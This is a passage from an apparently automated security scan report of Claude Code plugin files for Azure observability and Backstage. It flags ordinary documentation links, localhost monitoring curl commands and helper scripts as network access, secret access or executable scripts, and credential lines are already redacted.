    - **Socket exhaustion**: Treat clients as singletons. Share `EventHubConnection` across clients if needed. Always call `CloseAsync` or `DisposeAsync`. - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error
  • Network accessline 32
    - **HTTP 412/409 from storage**: Normal during checkpoint store operations — not an error. - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://gith
  • Network accessline 33
    - **Partitions closing frequently**: Expected when scaling. If persists >5 min without scaling, investigate. See [Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/eventhub/Azure.Messaging.EventHubs/TROUBLESHOO

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-java.md

  • Network accessline 3
    Package: `azure-messaging-eventhubs` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhubs/azure-messaging-eventhubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/eventhu
  • Network accessline 5
    > ⚠<U+FE0F> **Note:** The detailed Java troubleshooting guide has moved to [Microsoft Learn](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview).
  • Network accessline 29
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-event-hubs-overview) for details.

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-js.md

  • Network accessline 3
    Package: `@azure/event-hubs` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/eventhub/event-hubs/TROUBLESHOOTING

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-eventhubs-py.md

  • Network accessline 3
    Package: `azure-eventhub` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/eventhub/azure-eventhub/TRO

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-dotnet.md

  • Network accessline 3
    Package: `Azure.Messaging.ServiceBus` | [README](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servicebus/Azure.Messaging.ServiceBus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-net/blob/main/sdk/servic
  • Network accessline 12
    | `ServiceBusException` (QuotaExceeded) | Too many concurrent receives | Reduce receivers or use batch receives | | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual 
  • Network accessline 13
    | `ServiceBusException` (MessageSizeExceeded) | Message or batch too large | Reduce payload. Premium tier supports individual messages up to 100MB. Batch limit is artificially computed on the client from the max message size sent by the ser
  • Network accessline 14
    | `ServiceBusException` (ServiceBusy) | Request throttled | Auto-retried with 10s backoff. See [throttling docs](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-throttling) |

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-java.md

  • Network accessline 3
    Package: `azure-messaging-servicebus` | [README](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/servicebus/azure-messaging-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-java/blob/main/sdk/serv
  • Network accessline 30
    Even with prefetch disabled in the builder, `receiveMessages` API can re-enable prefetch implicitly. See [SyncReceiveAndPrefetch](https://github.com/Azure/azure-sdk-for-java/tree/main/sdk/servicebus/azure-messaging-servicebus/docs/SyncRecei
  • Network accessline 45
    See [Java SDK logging docs](https://learn.microsoft.com/azure/developer/java/sdk/troubleshooting-messaging-service-bus-overview) for details.

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-js.md

  • Network accessline 3
    Package: `@azure/service-bus` | [README](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-js/blob/main/sdk/servicebus/service-bus/TROUBLES

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/azure-servicebus-py.md

  • Network accessline 3
    Package: `azure-servicebus` | [README](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-servicebus/) | [Full Troubleshooting Guide](https://github.com/Azure/azure-sdk-for-python/blob/main/sdk/servicebus/azure-ser

harness/claude-code/plugins/azure-observability-operations/skills/azure-diagnostics/troubleshooting/messaging/service-troubleshooting.md

  • Network accessline 9
    1. **Verify connection string** — Get from Azure portal. For **Event Hubs (Kafka endpoint)** clients, also check `producer.config` / `consumer.config`. 2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 10
    2. **Check service outage** — [Azure status page](https://azure.status.microsoft/status)
  • Network accessline 80
    - [Event Hubs troubleshooting guide](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide)
  • Network accessline 81
    - [Service Bus troubleshooting guide](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-troubleshooting-guide)
  • Network accessline 82
    - [Event Hubs quotas and limits](https://learn.microsoft.com/azure/event-hubs/event-hubs-quotas)
  • Network accessline 83
    - [Service Bus quotas and limits](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-quotas)
  • Network accessline 84
    - [Event Hubs AMQP troubleshooting](https://learn.microsoft.com/azure/event-hubs/event-hubs-amqp-troubleshoot)
  • Network accessline 85
    - [Service Bus AMQP troubleshooting](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-amqp-troubleshoot)
  • Network accessline 86
    - [Event Hubs IP addresses and service tags](https://learn.microsoft.com/azure/event-hubs/troubleshooting-guide#what-ip-addresses-do-i-need-to-allow)
  • Network accessline 87
    - [Service Bus IP addresses](https://learn.microsoft.com/azure/service-bus-messaging/service-bus-faq#what-ip-addresses-do-i-need-to-add-to-allowlist-)

harness/claude-code/plugins/azure-observability-operations/skills/azure-observability-stack/SKILL.md

  • Network accessline 36
    # Add Helm repos helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 37
    helm repo add prometheus-community https://prometheus-community.github.io/helm-charts
  • Network accessline 84
    # Check Prometheus targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 85
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 88
    [Credential-related source omitted]
  • Network accessline 90
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 103
    # Query Prometheus API curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 104
    curl -s http://localhost:9090/api/v1/query?query=up | jq '.data.result'
  • Network accessline 106
    # Check targets curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 107
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets | length'
  • Network accessline 119
    [Credential-related source omitted]
  • Network accessline 121
    curl -s -u "${GRAFANA_USER}:${GRAFANA_PASSWORD}" http://localhost:3000/api/datasources | jq '.[].name'
  • Network accessline 129
    # List active alerts curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'
  • Network accessline 130
    curl -s http://localhost:9093/api/v2/alerts | jq '.[].labels.alertname'

harness/claude-code/plugins/azure-observability-operations/skills/azure-observability-stack/references/troubleshooting.md

  • Network accessline 14
    # Check for scrape errors curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'
  • Network accessline 15
    curl -s http://localhost:9090/api/v1/targets | jq '.data.activeTargets[] | select(.health != "up") | {job: .labels.job, health, lastError}'

harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/configure-health-probes.md

  • Network accessline 27
    3. **Two endpoints, not one** — a fast `/health` for the load balancer, and an optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it
  • Network accessline 29
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/configure-multi-region.md

  • Network accessline 276
    output endpoint string = 'https://${endpoint.properties.hostName}'
  • Access to secretsline 441
    [Credential-related source omitted]
  • Access to secretsline 442
    [Credential-related source omitted]
  • Access to secretsline 448
    [Credential-related source omitted]
  • Access to secretsline 449
    [Credential-related source omitted]
  • Access to secretsline 456
    [Credential-related source omitted]
  • Access to secretsline 457
    [Credential-related source omitted]
  • Access to secretsline 464
    [Credential-related source omitted]
  • Access to secretsline 467
    [Credential-related source omitted]
  • Access to secretsline 468
    [Credential-related source omitted]
  • Network accessline 563
    # Check Front Door endpoint is responding curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health
  • Network accessline 564
    curl -I https://<front-door-name>-endpoint.z01.azurefd.net/api/health

harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/health-probe-checks.md

  • Network accessline 68
    3. **Two endpoints, not one** — fast `/health` for the load balancer, optional `/health/deep` for on-call diagnostics. 4. **For Container Apps, both liveness AND readiness** — liveness alone restarts the container without taking it out of r
  • Network accessline 70
    5. **Test the endpoint** before relying on it: `curl https://<app-url>/api/health`.

harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/services/app-service/reliability.md

  • Network accessline 59
    # Rules must be set via ARM PATCH (CLI doesn't expose autoHealRules directly) az rest --method patch \   --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=
  • Network accessline 60
    az rest --method patch    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01"
  • Network accessline 61
    --uri "https://management.azure.com/subscriptions/{sub}/resourceGroups/{rg}/providers/Microsoft.Web/sites/{app}/config/web?api-version=2022-03-01" \

harness/claude-code/plugins/azure-observability-operations/skills/azure-reliability/references/services/functions/reliability.md

  • Network accessline 197
    - [Reliability in Azure Functions (Microsoft Learn)](https://learn.microsoft.com/en-us/azure/reliability/reliability-functions)

harness/claude-code/plugins/backlog-swipe-triage/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"
  • Network accessline 6
    "name": "James Montemagno",     "url": "https://github.com/jamesmontemagno"   },
  • Network accessline 7
    "url": "https://github.com/jamesmontemagno"

harness/claude-code/plugins/backrooms-canvas/.claude-plugin/plugin.json

  • Network accessline 5
    "author": {     "name": "John Haugabook",     "url": "https://github.com/jhauga"
  • Network accessline 6
    "name": "John Haugabook",     "url": "https://github.com/jhauga"   },
  • Network accessline 7
    "url": "https://github.com/jhauga"

harness/claude-code/plugins/backstage-expert/.claude-plugin/plugin.json

  • Network accessline 6
    "name": "Copilot Primitives Maintainers"   },   "homepage": "https://backstage.io/",
  • Network accessline 7
    },   "homepage": "https://backstage.io/",   "repository": "https://github.com/paulasilvatech/copilot-primitives",
  • Network accessline 8
    "homepage": "https://backstage.io/",
  • Network accessline 9
    "repository": "https://github.com/paulasilvatech/copilot-primitives",

harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/copilot-components/skills/app-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 648
    - [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating)
  • Network accessline 649
    - [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index)
  • Network accessline 650
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 651
    - [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-ai-catalog/SKILL.md

  • Network accessline 64
    - [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-authentication/SKILL.md

  • Network accessline 86
    - [Backstage authentication](https://backstage.io/docs/auth/)
  • Network accessline 87
    - [GitHub provider](https://backstage.io/docs/auth/github/provider)
  • Network accessline 88
    - [Microsoft Entra ID provider](https://backstage.io/docs/auth/microsoft/provider)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-catalog-db-performance/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/references/azure-devops.md

  • Network accessline 34
    - <https://backstage.io/docs/integrations/azure/locations>
  • Network accessline 35
    - <https://backstage.io/docs/integrations/azure/discovery>
  • Network accessline 36
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/azure-devops>

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/references/github.md

  • Network accessline 27
    First-party source: <https://backstage.io/docs/integrations/github/github-apps>.

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-external-integrations/references/servicenow.md

  • Network accessline 32
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/servicenow>
  • Network accessline 33
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/scaffolder-backend-module-servicenow>

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-framework/SKILL.md

  • Network accessline 61
    - [Backstage framework index](https://backstage.io/docs/framework/generated-index)
  • Network accessline 62
    - [Stable API reference](https://backstage.io/api/stable)
  • Network accessline 63
    - [Core backend service APIs](https://backstage.io/docs/backend-system/core-services/)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-kubernetes/SKILL.md

  • Network accessline 67
    - [Backstage Kubernetes](https://backstage.io/docs/features/kubernetes/)
  • Network accessline 68
    - [Kubernetes configuration](https://backstage.io/docs/features/kubernetes/configuration)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-mcp-actions/SKILL.md

  • Network accessline 68
    - [MCP Actions Backend](https://backstage.io/docs/ai/mcp-actions)
  • Network accessline 69
    - [Well-known actions](https://backstage.io/docs/ai/well-known-actions)
  • Network accessline 70
    - [Actions Registry](https://backstage.io/docs/backend-system/core-services/actions-registry)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-notifications/SKILL.md

  • Network accessline 57
    - [Backstage Notifications](https://backstage.io/docs/notifications/)
  • Network accessline 58
    - [Notification usage](https://backstage.io/docs/notifications/usage)
  • Network accessline 59
    - [Notification processors](https://backstage.io/docs/notifications/processors)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-permissions/SKILL.md

  • Network accessline 65
    - [Permission framework overview](https://backstage.io/docs/permissions/overview)
  • Network accessline 66
    - [Plugin author permissions](https://backstage.io/docs/permissions/plugin-authors/01-setup)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/references/official-docs.md

  • Network accessline 5
    | Topic | Official source | | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 6
    | --- | --- | | Standalone Backstage app | <https://backstage.io/docs/getting-started/> | | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 7
    | Standalone Backstage app | <https://backstage.io/docs/getting-started/> |
  • Network accessline 8
    | New frontend plugins | <https://github.com/backstage/backstage/blob/master/docs/frontend-system/building-plugins/01-index.md> |
  • Network accessline 9
    | New backend plugins and modules | <https://github.com/backstage/backstage/blob/master/docs/backend-system/building-plugins-and-modules/01-index.md> |
  • Network accessline 10
    | Legacy plugin creation reference | <https://backstage.io/docs/plugins/create-a-plugin/> |
  • Network accessline 11
    | Plugin structure reference | <https://backstage.io/docs/plugins/structure-of-a-plugin/> |
  • Network accessline 12
    | Composability and routing reference | <https://backstage.io/docs/plugins/composability/> |
  • Network accessline 13
    | Community plugin contribution | <https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md> |
  • Network accessline 14
    | Backstage repository contribution | <https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md> |

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/create_backstage_plugin_artifacts.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/test_validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/validate_backstage_plugin.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-plugin-builder/scripts/validate_official_docs.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 13
    URLS = [     "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 14
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/frontend-system/building-plugins/01-index.md",
  • Network accessline 15
    "https://raw.githubusercontent.com/backstage/backstage/master/docs/backend-system/building-plugins-and-modules/01-index.md",
  • Network accessline 16
    "https://backstage.io/docs/plugins/create-a-plugin/",
  • Network accessline 17
    "https://backstage.io/docs/plugins/composability/",
  • Network accessline 18
    "https://github.com/backstage/community-plugins/blob/main/CONTRIBUTING.md",
  • Network accessline 19
    "https://github.com/backstage/backstage/blob/master/CONTRIBUTING.md",
  • Network accessline 23
    def check_url(url: str, timeout: int) -> dict:     request = urllib.request.Request(
  • Network accessline 24
    request = urllib.request.Request(
  • Network accessline 25
    url, headers={"User-Agent": "backstage-plugin-builder-doc-check"})     try:         with urllib.request.urlopen(request, timeout=timeout) as response:
  • Network accessline 26
    try:         with urllib.request.urlopen(request, timeout=timeout) as response:             return {"url": url, "status": response.status, "ok": 200 <= response.status < 400}
  • Network accessline 27
    with urllib.request.urlopen(request, timeout=timeout) as response:

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-search/SKILL.md

  • Network accessline 62
    - [Backstage Search](https://backstage.io/docs/features/search/)
  • Network accessline 63
    - [Search architecture](https://backstage.io/docs/features/search/architecture)
  • Network accessline 64
    - [Getting started with Search](https://backstage.io/docs/features/search/getting-started)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-workspace-kit/scripts/install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/copilot-components/skills/backstage-workspace-kit/scripts/test_install_workspace_kit.py

  • Executable scriptline 1
    #!/usr/bin/env python3

harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/copilot-components/skills/mui-to-bui-migration/references/upstream/SKILL.md

  • Network accessline 600
    Find more icons at: https://remixicon.com/
  • Network accessline 929
    - BUI Documentation: https://ui.backstage.io
  • Network accessline 930
    - Remix Icons: https://remixicon.com/
  • Network accessline 931
    - Example Migration PR: https://github.com/backstage/backstage/pull/31631

harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/copilot-components/skills/onboard-to-openapi-server/references/upstream/SKILL.md

  • Network accessline 76
    - [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml) — small, modern reference.
  • Network accessline 77
    - [`plugins/scaffolder-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/schema/openapi.yaml) — larger, with more parameter and schema reuse.
  • Network accessline 78
    - [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml) — largest, good for query-param-heavy endpoints.
  • Network accessline 145
    [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts) is the canonical example.
  • Network accessline 178
    [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated) is a reference for what a client output looks like.
  • Network accessline 202
    [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts) and [`plugins/catalog-backend/src/service/createRouter.test.ts`](https://git
  • Network accessline 216
    These all live in [`backstage/backstage`](https://github.com/backstage/backstage); the user's workspace likely doesn't contain them. Browse via the links below.
  • Network accessline 218
    | What you need                      | Where to read                                                                                                                                                                              | | ----------
  • Network accessline 219
    | ---------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | Spec examp
  • Network accessline 220
    | Spec example (small)               | [`plugins/events-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/schema/openapi.yaml)                                      |
  • Network accessline 221
    | Spec example (large)               | [`plugins/catalog-backend/src/schema/openapi.yaml`](https://github.com/backstage/backstage/blob/master/plugins/catalog-backend/src/schema/openapi.yaml)                                    |
  • Network accessline 222
    | Router using `createOpenApiRouter` | [`plugins/events-backend/src/service/hub/createEventBusRouter.ts`](https://github.com/backstage/backstage/blob/master/plugins/events-backend/src/service/hub/createEventBusRouter.ts)      |
  • Network accessline 223
    | Test using `wrapServer`            | [`plugins/scaffolder-backend/src/service/router.test.ts`](https://github.com/backstage/backstage/blob/master/plugins/scaffolder-backend/src/service/router.test.ts)                        |
  • Network accessline 224
    | Generate command source            | [`packages/repo-tools/src/commands/package/schema/openapi/generate/`](https://github.com/backstage/backstage/tree/master/packages/repo-tools/src/commands/package/schema/openapi/generate) |
  • Network accessline 225
    | Spec lint command source           | [`packages/repo-tools/src/commands/repo/schema/openapi/lint.ts`](https://github.com/backstage/backstage/blob/master/packages/repo-tools/src/commands/repo/schema/openapi/lint.ts)          |
  • Network accessline 226
    | `wrapServer` implementation        | [`packages/backend-openapi-utils/src/testUtils.ts`](https://github.com/backstage/backstage/blob/master/packages/backend-openapi-utils/src/testUtils.ts)                                    |
  • Network accessline 227
    | Client output reference            | [`plugins/events-node/src/generated/`](https://github.com/backstage/backstage/tree/master/plugins/events-node/src/generated)                                                               |

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-analytics-instrumentation/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-full-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 122
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 550
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 551
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 552
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/SKILL.md

  • Network accessline 4
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 5
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: "eeac444a9aba7c107525d2a726851e907418c181"
  • Network accessline 6
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/copilot-components/skills/plugin-new-frontend-system-support/references/upstream/SKILL.md

  • Network accessline 56
    For the plugin `icon`, prefer using [Remix Icons](https://remixicon.com/) from `@remixicon/react`. If the plugin already has an existing MUI icon, it can be kept with `fontSize="inherit"` (e.g. `<CategoryIcon fontSize="inherit" />`), but fo
  • Network accessline 425
    - [Plugin migration guide](https://backstage.io/docs/frontend-system/building-plugins/migrating)
  • Network accessline 426
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 427
    - [Utility APIs](https://backstage.io/docs/frontend-system/utility-apis/creating)

harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/skills/app-frontend-system-migration/references/upstream/SKILL.md

  • Network accessline 648
    - [App migration guide](https://backstage.io/docs/frontend-system/building-apps/migrating)
  • Network accessline 649
    - [Architecture overview](https://backstage.io/docs/frontend-system/architecture/index)
  • Network accessline 650
    - [Extension blueprints](https://backstage.io/docs/frontend-system/building-plugins/common-extension-blueprints)
  • Network accessline 651
    - [Installing plugins](https://backstage.io/docs/frontend-system/building-apps/installing-plugins)

harness/claude-code/plugins/backstage-expert/skills/backstage-ai-catalog/SKILL.md

  • Network accessline 69
    - [AI in the Software Catalog](https://backstage.io/docs/ai/ai-in-the-catalog)

harness/claude-code/plugins/backstage-expert/skills/backstage-ai/SKILL.md

  • Network accessline 65
    - [AI in the catalog](https://backstage.io/docs/ai/ai-in-the-catalog)
  • Network accessline 66
    - [MCP Actions Backend](https://backstage.io/docs/ai/mcp-actions)

harness/claude-code/plugins/backstage-expert/skills/backstage-app/SKILL.md

  • Network accessline 65
    - [Backstage getting started](https://backstage.io/docs/getting-started/)
  • Network accessline 66
    - [Backstage configuration](https://backstage.io/docs/conf/)

harness/claude-code/plugins/backstage-expert/skills/backstage-auth/SKILL.md

  • Network accessline 65
    - [Backstage authentication](https://backstage.io/docs/auth/)
  • Network accessline 66
    - [GitHub provider](https://backstage.io/docs/auth/github/provider)
  • Network accessline 67
    - [Microsoft provider](https://backstage.io/docs/auth/microsoft/provider)

harness/claude-code/plugins/backstage-expert/skills/backstage-authentication/SKILL.md

  • Network accessline 91
    - [Backstage authentication](https://backstage.io/docs/auth/)
  • Network accessline 92
    - [GitHub provider](https://backstage.io/docs/auth/github/provider)
  • Network accessline 93
    - [Microsoft Entra ID provider](https://backstage.io/docs/auth/microsoft/provider)

harness/claude-code/plugins/backstage-expert/skills/backstage-catalog-db-performance/SKILL.md

  • Network accessline 7
    license: Apache-2.0 metadata:   source-repository: "https://github.com/backstage/backstage"
  • Network accessline 8
    metadata:   source-repository: "https://github.com/backstage/backstage"   source-commit: eeac444a9aba7c107525d2a726851e907418c181
  • Network accessline 9
    source-repository: "https://github.com/backstage/backstage"

harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/references/azure-devops.md

  • Network accessline 34
    - <https://backstage.io/docs/integrations/azure/locations>
  • Network accessline 35
    - <https://backstage.io/docs/integrations/azure/discovery>
  • Network accessline 36
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/azure-devops>

harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/references/github.md

  • Network accessline 27
    First-party source: <https://backstage.io/docs/integrations/github/github-apps>.

harness/claude-code/plugins/backstage-expert/skills/backstage-external-integrations/references/servicenow.md

  • Network accessline 32
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/servicenow>
  • Network accessline 33
    - <https://github.com/backstage/community-plugins/tree/main/workspaces/scaffolder-backend-module-servicenow>

harness/claude-code/plugins/backstage-expert/skills/backstage-framework/SKILL.md

  • Network accessline 67
    - [Backstage framework index](https://backstage.io/docs/framework/generated-index)
  • Network accessline 68
    - [Stable API reference](https://backstage.io/api/stable)
  • Network accessline 69
    - [Core backend service APIs](https://backstage.io/docs/backend-system/core-services/)

harness/claude-code/plugins/backstage-expert/skills/backstage-integrations/SKILL.md

  • Network accessline 65
    - [Backstage integrations](https://backstage.io/docs/integrations/)
  • Network accessline 66
    - [GitHub Apps](https://backstage.io/docs/integrations/github/github-apps)
  • Network accessline 67
    - [Azure DevOps integration](https://backstage.io/docs/integrations/azure/locations)

harness/claude-code/plugins/backstage-expert/skills/backstage-kubernetes/SKILL.md

